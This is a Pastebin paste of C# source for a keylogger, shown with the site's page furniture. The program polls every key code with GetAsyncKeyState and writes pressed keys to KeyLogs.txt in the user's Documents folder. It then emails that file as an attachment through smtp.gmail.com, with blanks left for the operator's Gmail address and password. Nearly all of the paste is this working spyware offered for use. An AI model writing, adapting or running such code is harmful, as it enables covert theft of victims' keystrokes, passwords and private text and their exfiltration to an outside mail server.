Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class Program
- {
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- static void Main(string[] args)
- {
- {
- }
- int Counter = 0;
- {
- while (Counter != 10)
- {
- Thread.Sleep(10);
- for (Int32 i = 0; i < 255; i++)
- {
- int keyState = GetAsyncKeyState(i);
- if (keyState == 1 || keyState == -32767)
- {
- Console.WriteLine((Keys)i);
- Counter++;
- string toStringKeys = Convert.ToString((Keys)i);
- File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
- break;
- }
- }
- }
- sendMail();
- }
- }
- static void sendMail()
- {
- string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
- string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";
- gmailUser = ""; //put your gmail email.
- gmailPass = ""; //Put your gmail pass
- toEmail = gmailUser;
- fromEmail = gmailUser;
- subject = "Keylogs";
- body = "Here it is!";
- MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
- SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
- smtp.EnableSsl = true;
- smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
- Attachment attach = new Attachment(keylogs);
- message.Attachments.Add(attach);
- smtp.Send(message);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement